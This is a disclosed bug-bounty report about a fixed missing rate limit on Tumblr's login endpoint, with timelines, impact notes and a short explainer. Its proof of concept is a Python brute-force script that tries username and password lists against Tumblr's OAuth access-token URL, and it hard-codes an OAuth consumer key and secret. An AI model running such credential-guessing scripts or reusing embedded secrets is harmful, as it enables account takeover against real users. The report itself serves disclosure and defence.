Rate Limit Misconfiguration on tumblr login .
The login endpoint lacked an effective rate limit, allowing an attacker to make many authentication attempts. This could let an attacker guess weak passwords and access multiple accounts.
- Triaged in 6 hours
- Fixed in 9 hours
- Paid in 2 days
- Disclosed after 13 months
Summary:
The Rate Limit should always be on the login endpoint and have an acceptable limit, for example, 20 rate limit, but when there is no limit or the limit is huge, for example, 5000, this is certainly dangerous because it is a Rate Limit Misconfiguration, for example .
PoC :
import requests,requests_oauthlib
########################################################################
oauth_consumer_key = 'BUHsuO5U9DF42uJtc8QTZlOmnUaJmBJGuU1efURxeklbdiLn9L'
oauth_consumer_secret = 'olOu3aRBCdqCuMFm8fmzNjMAWmICADSIuXWTnVSFng1ZcLU1cV'
# https://github.com/kennydude/tumblr-client/blob/master/common.php#L89
########################################################################
url = 'https://www.tumblr.com/oauth/access_token'
users = open('users.txt','r').read().splitlines()
passwords = open('passwords:.txt','r').read().splitlines()
for user in users:
for p4ss in passwords:
data_p = 'x_auth_username='+user+'&x_auth_password='+p4ss+'&x_auth_mode=client_auth'
a = requests.post(url,auth=requests_oauthlib.OAuth1(oauth_consumer_key,oauth_consumer_secret,decoding=None),data=data_p).text
print(a)
Impact
The attacker can access to many accounts whose passwords are weak .
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the login endpoint did not enforce a strict enough rate limit on authentication attempts.
What the attacker needed
Knowledge of usernames; weak passwords on target accounts
The fix
The login endpoint should enforce a reasonable rate limit on authentication attempts.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A rate limit is a cap on how many times someone can try something in a short period, like a login. Without it, an attacker can try thousands of username and password combinations quickly. This report says the login page did not stop repeated attempts, so weak passwords could be guessed.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.